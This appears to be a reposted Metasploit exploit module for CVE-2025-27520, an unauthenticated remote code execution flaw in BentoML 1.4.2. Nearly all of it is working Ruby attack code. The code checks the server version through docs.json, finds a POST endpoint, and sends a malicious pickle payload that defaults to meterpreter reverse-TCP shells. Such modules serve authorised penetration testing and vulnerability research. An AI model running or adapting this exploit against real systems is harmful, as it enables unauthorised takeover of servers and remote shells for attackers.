📄 BentoML 1.4.2 Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'BentoML RCE',
            'Description' => %q{
              A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in v1.4.2 of BentoML.
              It allows any unauthenticated user to execute arbitrary code on the server.
            },
            'Author' => [
              'c2an1',            # Vulnerability discovery and PoC
              'Takahiro Yokoyama' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-27520'],
              ['URL', 'https://github.com/advisories/GHSA-33xw-247w-6hmc'],
            ],
            'Targets' => [
              [
                'Python payload',
                {
                  'Arch' => ARCH_PYTHON,
                  'Platform' => 'python',
                  'Type' => :python,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'FETCH_DELETE' => true
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-04-04',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
        register_options(
          [
            Opt::RPORT(3000),
            OptString.new('ENDPOINT', [ false, 'Endpoint to use', ''])
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'docs.json')
        })
        return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    
        version = res.get_json_document&.dig('info', 'description')&.[](/BentoML-([\d.]+)-informational/, 1)
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless version
    
        version = Rex::Version.new(version)
        return Exploit::CheckCode::Unknown('Failed to get version.') unless version
    
        return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.3.4'), Rex::Version.new('1.4.2'))
    
        @api_endpoint = find_api_endpoint
        return Exploit::CheckCode::Unknown('No vulnerable api endpoint.') unless @api_endpoint
    
        Exploit::CheckCode::Appears("Version #{version} detected, which is vulnerable.")
      end
    
      def find_api_endpoint
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'docs.json')
        })
        return unless res&.code == 200
    
        paths = res&.get_json_document&.dig('paths')
        paths&.keys&.detect { |path| paths[path].keys.include?('post') }
      end
    
      def exploit
        @api_endpoint = datastore['ENDPOINT'].blank? ? find_api_endpoint : datastore['ENDPOINT']
        fail_with(Failure::Unknown, 'No endpoint specified or no vulnerable api endpoint found.') unless @api_endpoint
        print_status("Use #{@api_endpoint} as api endpoint.")
    
        if target['Type'] == :python
          data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
        else
          data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")")
        end
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, @api_endpoint),
          'headers' => { 'Content-Type' => 'application/vnd.bentoml+pickle' },
          'data' => data
        })
        fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
        print_status('Expected error occurred.') if res.get_json_document&.dig('error') == '1 validation error for Input'
      end
    
    end